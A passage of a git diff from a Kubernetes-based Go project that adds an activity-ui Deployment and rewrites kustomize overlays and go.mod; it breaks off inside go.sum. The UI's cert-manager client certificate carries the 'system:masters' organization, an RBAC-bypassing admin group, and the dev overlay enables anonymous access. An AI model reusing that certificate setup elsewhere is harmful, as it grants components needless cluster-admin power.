- name: ACTIVITY_API_KEY_FILE - value: "/etc/activity-client-cert/tls.key" - ports: - - containerPort: 3000 - name: http - protocol: TCP - resources: - requests: - cpu: 10m - memory: 64Mi - limits: - cpu: 200m - memory: 128Mi - livenessProbe: - httpGet: - path: /health - port: http - initialDelaySeconds: 5 - periodSeconds: 10 - readinessProbe: - httpGet: - path: /health - port: http - initialDelaySeconds: 3 - periodSeconds: 5 - volumeMounts: - - name: tmp - mountPath: /tmp - - name: activity-apiserver-ca - mountPath: /etc/activity-apiserver-ca - readOnly: true - - name: activity-client-cert - mountPath: /etc/activity-client-cert - readOnly: true - volumes: - - name: tmp - emptyDir: {} - - name: activity-apiserver-ca - configMap: - name: datum-control-plane-trust-bundle - - name: activity-client-cert - csi: - driver: csi.cert-manager.io - readOnly: true - volumeAttributes: - csi.cert-manager.io/issuer-kind: ClusterIssuer - csi.cert-manager.io/issuer-name: datum-control-plane - csi.cert-manager.io/common-name: activity-ui - csi.cert-manager.io/organizations: "system:masters" - csi.cert-manager.io/key-usages: "client auth" - csi.cert-manager.io/duration: "8760h" - csi.cert-manager.io/renew-before: "720h" - csi.cert-manager.io/fs-group: "1000" +apiVersion: apps/v1 +kind: Deployment +metadata: + name: activity-ui + namespace: activity-system + labels: + app: activity-ui +spec: + replicas: 1 + selector: + matchLabels: + app: activity-ui + template: + metadata: + labels: + app: activity-ui + spec: + serviceAccountName: activity-ui + securityContext: + runAsNonRoot: true + runAsUser: 1000 + runAsGroup: 1000 + fsGroup: 1000 + seccompProfile: + type: RuntimeDefault + containers: + - name: ui + image: ghcr.io/datum-cloud/activity-ui:latest + imagePullPolicy: IfNotPresent + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: false + runAsNonRoot: true + runAsUser: 1000 + capabilities: + drop: + - ALL + env: + # URL to the activity-apiserver for proxying API requests + - name: ACTIVITY_API_SERVER_URL + value: "https://activity-apiserver.activity-system.svc:443" + # Use the control plane CA for TLS verification (matches apiserver's serving cert) + - name: ACTIVITY_API_CA_FILE + value: "/etc/activity-apiserver-ca/ca.crt" + # Client certificate for mTLS authentication to activity-apiserver + - name: ACTIVITY_API_CERT_FILE + value: "/etc/activity-client-cert/tls.crt" + - name: ACTIVITY_API_KEY_FILE + value: "/etc/activity-client-cert/tls.key" + ports: + - containerPort: 3000 + name: http + protocol: TCP + resources: + requests: + cpu: 10m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi + livenessProbe: + httpGet: + path: /health + port: http + initialDelaySeconds: 5 + periodSeconds: 10 + readinessProbe: + httpGet: + path: /health + port: http + initialDelaySeconds: 3 + periodSeconds: 5 + volumeMounts: + - name: tmp + mountPath: /tmp + - name: activity-apiserver-ca + mountPath: /etc/activity-apiserver-ca + readOnly: true + - name: activity-client-cert + mountPath: /etc/activity-client-cert + readOnly: true + volumes: + - name: tmp + emptyDir: {} + - name: activity-apiserver-ca + configMap: + name: datum-control-plane-trust-bundle + - name: activity-client-cert + csi: + driver: csi.cert-manager.io + readOnly: true + volumeAttributes: + csi.cert-manager.io/issuer-kind: ClusterIssuer + csi.cert-manager.io/issuer-name: datum-control-plane + csi.cert-manager.io/common-name: activity-ui + csi.cert-manager.io/organizations: "system:masters" + csi.cert-manager.io/key-usages: "client auth" + csi.cert-manager.io/duration: "8760h" + csi.cert-manager.io/renew-before: "720h" + csi.cert-manager.io/fs-group: "1000" diff --git a/config/milo/kustomization.yaml b/config/milo/kustomization.yaml index da542f94..4d5fbfef 100644 --- a/config/milo/kustomization.yaml +++ b/config/milo/kustomization.yaml @@ -1,5 +1,5 @@ -apiVersion: kustomize.config.k8s.io/v1alpha1 -kind: Component - -components: - - iam/ +apiVersion: kustomize.config.k8s.io/v1alpha1 +kind: Component + +components: + - iam/ diff --git a/config/overlays/dev/kustomization.yaml b/config/overlays/dev/kustomization.yaml index 91a947af..6d365c4d 100644 --- a/config/overlays/dev/kustomization.yaml +++ b/config/overlays/dev/kustomization.yaml @@ -1,77 +1,77 @@ -apiVersion: kustomize.config.k8s.io/v1beta1 -kind: Kustomization - -namespace: activity-system - -# Base resources (API server, service, APIService, etc.) -resources: - - ../../base - - anonymous-rbac.yaml # Dev-only: anonymous access for Gateway - -components: - - ../../components/namespace - - ../../components/api-registration - - ../../components/cert-manager-ca - - ../../components/etcd # Single-node etcd for ActivityPolicy storage - - ../../components/clickhouse-keeper-standalone # Single-node Keeper for coordination - - ../../components/clickhouse-standalone # Single-replica ClickHouse - - ../../components/clickhouse-migrations - - ../../components/nats-streams # NATS JetStream streams and consumers - - ../../components/grafana-clickhouse - - ../../components/vector-sidecar - - ../../components/vector-aggregator - - ../../components/k8s-event-exporter # Kubernetes events → NATS - - ../../components/tracing - - ../../components/observability # ServiceMonitors, alerts, dashboards - - ../../components/ui - -# Note: The following HA components are excluded for dev environments: -# - clickhouse-keeper # Replaced by clickhouse-keeper-standalone (1 replica) -# - clickhouse-database # Replaced by clickhouse-standalone (1 replica) -# - rustfs-bucket # No S3 cold storage in dev (uses local disk for both hot/cold) - -# Image overrides for dev environment -images: - - name: ghcr.io/datum-cloud/activity - newName: ghcr.io/datum-cloud/activity - newTag: dev - - name: ghcr.io/datum-cloud/activity-ui - newName: ghcr.io/datum-cloud/activity-ui - newTag: dev - -# Sync ACTIVITY_IMAGE env var with the overlay's image tag. -# Required here because the overlay's images: transformer runs after the base's -# replacements: have already executed, so it must re-sync the env var. -replacements: - - source: - kind: Deployment - name: activity-controller-manager - fieldPath: spec.template.spec.containers.[name=manager].image - targets: - - select: - kind: Deployment - name: activity-controller-manager - fieldPaths: - - spec.template.spec.containers.[name=manager].env.[name=ACTIVITY_IMAGE].value - -# Patches specific to dev environment -patches: - - path: patches/deployment-patch.yaml - - path: patches/activity-processor-patch.yaml - - path: patches/controller-manager-patch.yaml - - path: patches/apiservice-patch.yaml - - path: patches/migration-job-patch.yaml - - path: patches/vector-sidecar-patch.yaml - - path: patches/vector-aggregator-patch.yaml - - target: - kind: Deployment - name: activity-ui - path: patches/ui-cert-patch.yaml - -labels: - # Note: includeSelectors is false because operators (ClickHouse, etcd) create pods - # without kustomize labels, causing service selector mismatches - - includeSelectors: false - includeTemplates: true - pairs: - environment: dev +apiVersion: kustomize.config.k8s.io/v1beta1 +kind: Kustomization + +namespace: activity-system + +# Base resources (API server, service, APIService, etc.) +resources: + - ../../base + - anonymous-rbac.yaml # Dev-only: anonymous access for Gateway + +components: + - ../../components/namespace + - ../../components/api-registration + - ../../components/cert-manager-ca + - ../../components/etcd # Single-node etcd for ActivityPolicy storage + - ../../components/clickhouse-keeper-standalone # Single-node Keeper for coordination + - ../../components/clickhouse-standalone # Single-replica ClickHouse + - ../../components/clickhouse-migrations + - ../../components/nats-streams # NATS JetStream streams and consumers + - ../../components/grafana-clickhouse + - ../../components/vector-sidecar + - ../../components/vector-aggregator + - ../../components/k8s-event-exporter # Kubernetes events → NATS + - ../../components/tracing + - ../../components/observability # ServiceMonitors, alerts, dashboards + - ../../components/ui + +# Note: The following HA components are excluded for dev environments: +# - clickhouse-keeper # Replaced by clickhouse-keeper-standalone (1 replica) +# - clickhouse-database # Replaced by clickhouse-standalone (1 replica) +# - rustfs-bucket # No S3 cold storage in dev (uses local disk for both hot/cold) + +# Image overrides for dev environment +images: + - name: ghcr.io/datum-cloud/activity + newName: ghcr.io/datum-cloud/activity + newTag: dev + - name: ghcr.io/datum-cloud/activity-ui + newName: ghcr.io/datum-cloud/activity-ui + newTag: dev + +# Sync ACTIVITY_IMAGE env var with the overlay's image tag. +# Required here because the overlay's images: transformer runs after the base's +# replacements: have already executed, so it must re-sync the env var. +replacements: + - source: + kind: Deployment + name: activity-controller-manager + fieldPath: spec.template.spec.containers.[name=manager].image + targets: + - select: + kind: Deployment + name: activity-controller-manager + fieldPaths: + - spec.template.spec.containers.[name=manager].env.[name=ACTIVITY_IMAGE].value + +# Patches specific to dev environment +patches: + - path: patches/deployment-patch.yaml + - path: patches/activity-processor-patch.yaml + - path: patches/controller-manager-patch.yaml + - path: patches/apiservice-patch.yaml + - path: patches/migration-job-patch.yaml + - path: patches/vector-sidecar-patch.yaml + - path: patches/vector-aggregator-patch.yaml + - target: + kind: Deployment + name: activity-ui + path: patches/ui-cert-patch.yaml + +labels: + # Note: includeSelectors is false because operators (ClickHouse, etcd) create pods + # without kustomize labels, causing service selector mismatches + - includeSelectors: false + includeTemplates: true + pairs: + environment: dev diff --git a/config/overlays/test-infra/kustomization.yaml b/config/overlays/test-infra/kustomization.yaml index 4a16d725..f5631a5a 100644 --- a/config/overlays/test-infra/kustomization.yaml +++ b/config/overlays/test-infra/kustomization.yaml @@ -1,62 +1,62 @@ -apiVersion: kustomize.config.k8s.io/v1beta1 -kind: Kustomization - -namespace: activity-system - -# Base resources (API server, service, APIService, etc.) -resources: - - ../../base - -components: - - ../../components/namespace - - ../../components/api-registration - - ../../components/cert-manager-ca - - ../../components/etcd # etcd for ActivityPolicy storage - - ../../components/rustfs-bucket - - ../../components/clickhouse-keeper # Keeper coordination for HA - - ../../components/clickhouse-database # HA ClickHouse with 3 replicas - - ../../components/clickhouse-migrations - - ../../components/nats-streams # NATS JetStream streams and consumers - - ../../components/grafana-clickhouse - - ../../components/vector-sidecar - - ../../components/vector-aggregator - - ../../components/tracing -# Note: Vector sidecar is deployed to kube-system namespace -# Note: RustFS bucket initialization job will create the S3 bucket on first deployment - -# Image overrides for test-infra environment -images: - - name: ghcr.io/datum-cloud/activity - newName: ghcr.io/datum-cloud/activity - newTag: dev - -# Sync ACTIVITY_IMAGE env var with the overlay's image tag. -# Required here because the overlay's images: transformer runs after the base's -# replacements: have already executed, so it must re-sync the env var. -replacements: - - source: - kind: Deployment - name: activity-controller-manager - fieldPath: spec.template.spec.containers.[name=manager].image - targets: - - select: - kind: Deployment - name: activity-controller-manager - fieldPaths: - - spec.template.spec.containers.[name=manager].env.[name=ACTIVITY_IMAGE].value - -# Patches specific to test-infra environment -patches: - - path: patches/deployment-patch.yaml - - path: patches/apiservice-patch.yaml - - path: patches/vector-sidecar-patch.yaml - - path: patches/clickhouse-affinity-patch.yaml # Relaxed anti-affinity for single-node test cluster - - path: patches/clickhouse-storage-patch.yaml # RustFS storage configuration - -labels: - # Note: includeSelectors is false because operators (ClickHouse, etcd) create pods - # without kustomize labels, causing service selector mismatches - - includeSelectors: false - includeTemplates: true - pairs: - environment: test-infra +apiVersion: kustomize.config.k8s.io/v1beta1 +kind: Kustomization + +namespace: activity-system + +# Base resources (API server, service, APIService, etc.) +resources: + - ../../base + +components: + - ../../components/namespace + - ../../components/api-registration + - ../../components/cert-manager-ca + - ../../components/etcd # etcd for ActivityPolicy storage + - ../../components/rustfs-bucket + - ../../components/clickhouse-keeper # Keeper coordination for HA + - ../../components/clickhouse-database # HA ClickHouse with 3 replicas + - ../../components/clickhouse-migrations + - ../../components/nats-streams # NATS JetStream streams and consumers + - ../../components/grafana-clickhouse + - ../../components/vector-sidecar + - ../../components/vector-aggregator + - ../../components/tracing +# Note: Vector sidecar is deployed to kube-system namespace +# Note: RustFS bucket initialization job will create the S3 bucket on first deployment + +# Image overrides for test-infra environment +images: + - name: ghcr.io/datum-cloud/activity + newName: ghcr.io/datum-cloud/activity + newTag: dev + +# Sync ACTIVITY_IMAGE env var with the overlay's image tag. +# Required here because the overlay's images: transformer runs after the base's +# replacements: have already executed, so it must re-sync the env var. +replacements: + - source: + kind: Deployment + name: activity-controller-manager + fieldPath: spec.template.spec.containers.[name=manager].image + targets: + - select: + kind: Deployment + name: activity-controller-manager + fieldPaths: + - spec.template.spec.containers.[name=manager].env.[name=ACTIVITY_IMAGE].value + +# Patches specific to test-infra environment +patches: + - path: patches/deployment-patch.yaml + - path: patches/apiservice-patch.yaml + - path: patches/vector-sidecar-patch.yaml + - path: patches/clickhouse-affinity-patch.yaml # Relaxed anti-affinity for single-node test cluster + - path: patches/clickhouse-storage-patch.yaml # RustFS storage configuration + +labels: + # Note: includeSelectors is false because operators (ClickHouse, etcd) create pods + # without kustomize labels, causing service selector mismatches + - includeSelectors: false + includeTemplates: true + pairs: + environment: test-infra diff --git a/go.mod b/go.mod index 027bc7b4..d516ebaf 100644 --- a/go.mod +++ b/go.mod @@ -1,159 +1,159 @@ -module go.miloapis.com/activity - -go 1.25.0 - -require ( - github.com/ClickHouse/clickhouse-go/v2 v2.43.0 - github.com/google/cel-go v0.27.0 - github.com/google/uuid v1.6.0 - github.com/modelcontextprotocol/go-sdk v1.4.1 - github.com/nats-io/nats.go v1.48.0 - github.com/pmezard/go-difflib v1.0.0 - github.com/prometheus/client_golang v1.23.2 - github.com/spf13/cobra v1.10.2 - github.com/spf13/pflag v1.0.10 - github.com/stretchr/testify v1.11.1 - go.opentelemetry.io/otel v1.40.0 - go.opentelemetry.io/otel/trace v1.40.0 - golang.org/x/term v0.41.0 - golang.org/x/time v0.15.0 - google.golang.org/genproto/googleapis/api v0.0.0-20260319201613-d00831a3d3e7 - k8s.io/api v0.35.3 - k8s.io/apiextensions-apiserver v0.35.3 - k8s.io/apimachinery v0.35.3 - k8s.io/apiserver v0.35.3 - k8s.io/cli-runtime v0.35.3 - k8s.io/client-go v0.35.3 - k8s.io/component-base v0.35.3 - k8s.io/klog/v2 v2.130.1 - k8s.io/kube-openapi v0.0.0-20260330154417-16be699c7b31 - k8s.io/kubectl v0.35.3 - k8s.io/utils v0.0.0-20260319190234-28399d86e0b5 - sigs.k8s.io/controller-runtime v0.23.3 - sigs.k8s.io/structured-merge-diff/v6 v6.3.2 - sigs.k8s.io/yaml v1.6.0 -) - -require ( - cel.dev/expr v0.25.1 // indirect - github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect - github.com/ClickHouse/ch-go v0.71.0 // indirect - github.com/MakeNowJust/heredoc v1.0.0 // indirect - github.com/NYTimes/gziphandler v1.1.1 // indirect - github.com/andybalholm/brotli v1.2.0 // indirect - github.com/antlr4-go/antlr/v4 v4.13.1 // indirect - github.com/beorn7/perks v1.0.1 // indirect - github.com/blang/semver/v4 v4.0.0 // indirect - github.com/cenkalti/backoff/v4 v4.3.0 // indirect - github.com/cespare/xxhash/v2 v2.3.0 // indirect - github.com/chai2010/gettext-go v1.0.2 // indirect - github.com/coreos/go-semver v0.3.1 // indirect - github.com/coreos/go-systemd/v22 v22.5.0 // indirect - github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/emicklei/go-restful/v3 v3.12.2 // indirect - github.com/evanphx/json-patch/v5 v5.9.11 // indirect - github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f // indirect - github.com/fatih/color v1.18.0 // indirect - github.com/felixge/httpsnoop v1.0.4 // indirect - github.com/fsnotify/fsnotify v1.9.0 // indirect - github.com/fxamacker/cbor/v2 v2.9.0 // indirect - github.com/go-errors/errors v1.4.2 // indirect - github.com/go-faster/city v1.0.1 // indirect - github.com/go-faster/errors v0.7.1 // indirect - github.com/go-logr/logr v1.4.3 // indirect - github.com/go-logr/stdr v1.2.2 // indirect - github.com/go-logr/zapr v1.3.0 // indirect - github.com/go-openapi/jsonpointer v0.22.1 // indirect - github.com/go-openapi/jsonreference v0.21.3 // indirect - github.com/go-openapi/swag v0.23.0 // indirect - github.com/go-openapi/swag/jsonname v0.25.1 // indirect - github.com/gobuffalo/flect v1.0.3 // indirect - github.com/gogo/protobuf v1.3.2 // indirect - github.com/golang/protobuf v1.5.4 // indirect - github.com/google/btree v1.1.3 // indirect - github.com/google/gnostic-models v0.7.0 // indirect - github.com/google/go-cmp v0.7.0 // indirect - github.com/google/jsonschema-go v0.4.2 // indirect - github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect - github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 // indirect - github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 // indirect - github.com/inconshreveable/mousetrap v1.1.0 // indirect - github.com/josharian/intern v1.0.0 // indirect - github.com/json-iterator/go v1.1.12 // indirect - github.com/klauspost/compress v1.18.3 // indirect - github.com/kylelemons/godebug v1.1.0 // indirect - github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de // indirect - github.com/mailru/easyjson v0.7.7 // indirect - github.com/mattn/go-colorable v0.1.13 // indirect - github.com/mattn/go-isatty v0.0.20 // indirect - github.com/mitchellh/go-wordwrap v1.0.1 // indirect - github.com/moby/term v0.5.0 // indirect - github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect - github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect - github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect - github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect - github.com/nats-io/nkeys v0.4.11 // indirect - github.com/nats-io/nuid v1.0.1 // indirect - github.com/paulmach/orb v0.12.0 // indirect - github.com/peterbourgon/diskv v2.0.1+incompatible // indirect - github.com/pierrec/lz4/v4 v4.1.25 // indirect - github.com/prometheus/client_model v0.6.2 // indirect - github.com/prometheus/common v0.66.1 // indirect - github.com/prometheus/procfs v0.16.1 // indirect - github.com/russross/blackfriday/v2 v2.1.0 // indirect - github.com/segmentio/asm v1.2.1 // indirect - github.com/segmentio/encoding v0.5.4 // indirect - github.com/shopspring/decimal v1.4.0 // indirect - github.com/stoewer/go-strcase v1.3.0 // indirect - github.com/x448/float16 v0.8.4 // indirect - github.com/xlab/treeprint v1.2.0 // indirect - github.com/yosida95/uritemplate/v3 v3.0.2 // indirect - go.etcd.io/etcd/api/v3 v3.6.5 // indirect - go.etcd.io/etcd/client/pkg/v3 v3.6.5 // indirect - go.etcd.io/etcd/client/v3 v3.6.5 // indirect - go.opentelemetry.io/auto/sdk v1.2.1 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0 // indirect - go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.34.0 // indirect - go.opentelemetry.io/otel/metric v1.40.0 // indirect - go.opentelemetry.io/otel/sdk v1.40.0 // indirect - go.opentelemetry.io/proto/otlp v1.9.0 // indirect - go.uber.org/multierr v1.11.0 // indirect - go.uber.org/zap v1.27.1 // indirect - go.yaml.in/yaml/v2 v2.4.3 // indirect - go.yaml.in/yaml/v3 v3.0.4 // indirect - golang.org/x/crypto v0.47.0 // indirect - golang.org/x/exp v0.0.0-20240823005443-9b4947da3948 // indirect - golang.org/x/mod v0.32.0 // indirect - golang.org/x/net v0.49.0 // indirect - golang.org/x/oauth2 v0.34.0 // indirect - golang.org/x/sync v0.19.0 // indirect - golang.org/x/sys v0.42.0 // indirect - golang.org/x/text v0.33.0 // indirect - golang.org/x/tools v0.41.0 // indirect - gomodules.xyz/jsonpatch/v2 v2.4.0 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20260311181403-84a4fc48630c // indirect - google.golang.org/grpc v1.79.3 // indirect - google.golang.org/protobuf v1.36.11 // indirect - gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect - gopkg.in/inf.v0 v0.9.1 // indirect - gopkg.in/natefinch/lumberjack.v2 v2.2.1 // indirect - gopkg.in/yaml.v2 v2.4.0 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect - k8s.io/code-generator v0.35.3 // indirect - k8s.io/gengo/v2 v2.0.0-20250922181213-ec3ebc5fd46b // indirect - k8s.io/kms v0.35.3 // indirect - sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 // indirect - sigs.k8s.io/controller-tools v0.20.1 // indirect - sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect - sigs.k8s.io/kustomize/api v0.20.1 // indirect - sigs.k8s.io/kustomize/kyaml v0.20.1 // indirect - sigs.k8s.io/randfill v1.0.0 // indirect -) - -tool ( - k8s.io/code-generator - k8s.io/kube-openapi/cmd/openapi-gen - sigs.k8s.io/controller-tools/cmd/controller-gen -) +module go.miloapis.com/activity + +go 1.25.0 + +require ( + github.com/ClickHouse/clickhouse-go/v2 v2.43.0 + github.com/google/cel-go v0.27.0 + github.com/google/uuid v1.6.0 + github.com/modelcontextprotocol/go-sdk v1.4.1 + github.com/nats-io/nats.go v1.48.0 + github.com/pmezard/go-difflib v1.0.0 + github.com/prometheus/client_golang v1.23.2 + github.com/spf13/cobra v1.10.2 + github.com/spf13/pflag v1.0.10 + github.com/stretchr/testify v1.11.1 + go.opentelemetry.io/otel v1.40.0 + go.opentelemetry.io/otel/trace v1.40.0 + golang.org/x/term v0.41.0 + golang.org/x/time v0.15.0 + google.golang.org/genproto/googleapis/api v0.0.0-20260319201613-d00831a3d3e7 + k8s.io/api v0.35.3 + k8s.io/apiextensions-apiserver v0.35.3 + k8s.io/apimachinery v0.35.3 + k8s.io/apiserver v0.35.3 + k8s.io/cli-runtime v0.35.3 + k8s.io/client-go v0.35.3 + k8s.io/component-base v0.35.3 + k8s.io/klog/v2 v2.140.0 + k8s.io/kube-openapi v0.0.0-20260330154417-16be699c7b31 + k8s.io/kubectl v0.35.3 + k8s.io/utils v0.0.0-20260319190234-28399d86e0b5 + sigs.k8s.io/controller-runtime v0.23.3 + sigs.k8s.io/structured-merge-diff/v6 v6.3.2 + sigs.k8s.io/yaml v1.6.0 +) + +require ( + cel.dev/expr v0.25.1 // indirect + github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect + github.com/ClickHouse/ch-go v0.71.0 // indirect + github.com/MakeNowJust/heredoc v1.0.0 // indirect + github.com/NYTimes/gziphandler v1.1.1 // indirect + github.com/andybalholm/brotli v1.2.0 // indirect + github.com/antlr4-go/antlr/v4 v4.13.1 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/blang/semver/v4 v4.0.0 // indirect + github.com/cenkalti/backoff/v4 v4.3.0 // indirect + github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/chai2010/gettext-go v1.0.2 // indirect + github.com/coreos/go-semver v0.3.1 // indirect + github.com/coreos/go-systemd/v22 v22.5.0 // indirect + github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect + github.com/emicklei/go-restful/v3 v3.12.2 // indirect + github.com/evanphx/json-patch/v5 v5.9.11 // indirect + github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f // indirect + github.com/fatih/color v1.18.0 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/fsnotify/fsnotify v1.9.0 // indirect + github.com/fxamacker/cbor/v2 v2.9.0 // indirect + github.com/go-errors/errors v1.4.2 // indirect + github.com/go-faster/city v1.0.1 // indirect + github.com/go-faster/errors v0.7.1 // indirect + github.com/go-logr/logr v1.4.3 // indirect + github.com/go-logr/stdr v1.2.2 // indirect + github.com/go-logr/zapr v1.3.0 // indirect + github.com/go-openapi/jsonpointer v0.22.1 // indirect + github.com/go-openapi/jsonreference v0.21.3 // indirect + github.com/go-openapi/swag v0.23.0 // indirect + github.com/go-openapi/swag/jsonname v0.25.1 // indirect + github.com/gobuffalo/flect v1.0.3 // indirect + github.com/gogo/protobuf v1.3.2 // indirect + github.com/golang/protobuf v1.5.4 // indirect + github.com/google/btree v1.1.3 // indirect + github.com/google/gnostic-models v0.7.0 // indirect + github.com/google/go-cmp v0.7.0 // indirect + github.com/google/jsonschema-go v0.4.2 // indirect + github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect + github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 // indirect + github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/josharian/intern v1.0.0 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/klauspost/compress v1.18.3 // indirect + github.com/kylelemons/godebug v1.1.0 // indirect + github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de // indirect + github.com/mailru/easyjson v0.7.7 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mitchellh/go-wordwrap v1.0.1 // indirect + github.com/moby/term v0.5.0 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect + github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect + github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect + github.com/nats-io/nkeys v0.4.11 // indirect + github.com/nats-io/nuid v1.0.1 // indirect + github.com/paulmach/orb v0.12.0 // indirect + github.com/peterbourgon/diskv v2.0.1+incompatible // indirect + github.com/pierrec/lz4/v4 v4.1.25 // indirect + github.com/prometheus/client_model v0.6.2 // indirect + github.com/prometheus/common v0.66.1 // indirect + github.com/prometheus/procfs v0.16.1 // indirect + github.com/russross/blackfriday/v2 v2.1.0 // indirect + github.com/segmentio/asm v1.2.1 // indirect + github.com/segmentio/encoding v0.5.4 // indirect + github.com/shopspring/decimal v1.4.0 // indirect + github.com/stoewer/go-strcase v1.3.0 // indirect + github.com/x448/float16 v0.8.4 // indirect + github.com/xlab/treeprint v1.2.0 // indirect + github.com/yosida95/uritemplate/v3 v3.0.2 // indirect + go.etcd.io/etcd/api/v3 v3.6.5 // indirect + go.etcd.io/etcd/client/pkg/v3 v3.6.5 // indirect + go.etcd.io/etcd/client/v3 v3.6.5 // indirect + go.opentelemetry.io/auto/sdk v1.2.1 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0 // indirect + go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.34.0 // indirect + go.opentelemetry.io/otel/metric v1.40.0 // indirect + go.opentelemetry.io/otel/sdk v1.40.0 // indirect + go.opentelemetry.io/proto/otlp v1.9.0 // indirect + go.uber.org/multierr v1.11.0 // indirect + go.uber.org/zap v1.27.1 // indirect + go.yaml.in/yaml/v2 v2.4.3 // indirect + go.yaml.in/yaml/v3 v3.0.4 // indirect + golang.org/x/crypto v0.47.0 // indirect + golang.org/x/exp v0.0.0-20240823005443-9b4947da3948 // indirect + golang.org/x/mod v0.32.0 // indirect + golang.org/x/net v0.49.0 // indirect + golang.org/x/oauth2 v0.34.0 // indirect + golang.org/x/sync v0.19.0 // indirect + golang.org/x/sys v0.42.0 // indirect + golang.org/x/text v0.33.0 // indirect + golang.org/x/tools v0.41.0 // indirect + gomodules.xyz/jsonpatch/v2 v2.4.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20260311181403-84a4fc48630c // indirect + google.golang.org/grpc v1.79.3 // indirect + google.golang.org/protobuf v1.36.11 // indirect + gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect + gopkg.in/inf.v0 v0.9.1 // indirect + gopkg.in/natefinch/lumberjack.v2 v2.2.1 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect + k8s.io/code-generator v0.35.3 // indirect + k8s.io/gengo/v2 v2.0.0-20250922181213-ec3ebc5fd46b // indirect + k8s.io/kms v0.35.3 // indirect + sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 // indirect + sigs.k8s.io/controller-tools v0.20.1 // indirect + sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect + sigs.k8s.io/kustomize/api v0.20.1 // indirect + sigs.k8s.io/kustomize/kyaml v0.20.1 // indirect + sigs.k8s.io/randfill v1.0.0 // indirect +) + +tool ( + k8s.io/code-generator + k8s.io/kube-openapi/cmd/openapi-gen + sigs.k8s.io/controller-tools/cmd/controller-gen +) diff --git a/go.sum b/go.sum index 7b402efb..7b502ade 100644 --- a/go.sum +++ b/go.sum @@ -1,471 +1,473 @@ -cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4= -cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4= -github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0= -github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= -github.com/ClickHouse/ch-go v0.69.0 h1:nO0OJkpxOlN/eaXFj0KzjTz5p7vwP1/y3GN4qc5z/iM= -github.com/ClickHouse/ch-go v0.69.0/go.mod h1:9XeZpSAT4S0kVjOpaJ5186b7PY/NH/hhF8R6u0WIjwg= -github.com/ClickHouse/ch-go v0.71.0 h1:bUdZ/EZj/LcVHsMqaRUP2holqygrPWQKeMjc6nZoyRM= -github.com/ClickHouse/ch-go v0.71.0/go.mod h1:NwbNc+7jaqfY58dmdDUbG4Jl22vThgx1cYjBw0vtgXw= -github.com/ClickHouse/clickhouse-go/v2 v2.42.0 h1:MdujEfIrpXesQUH0k0AnuVtJQXk6RZmxEhsKUCcv5xk= -github.com/ClickHouse/clickhouse-go/v2 v2.42.0/go.mod h1:riWnuo4YMVdajYll0q6FzRBomdyCrXyFY3VXeXczA8s= -github.com/ClickHouse/clickhouse-go/v2 v2.43.0 h1:fUR05TrF1GyvLDa/mAQjkx7KbgwdLRffs2n9O3WobtE= -github.com/ClickHouse/clickhouse-go/v2 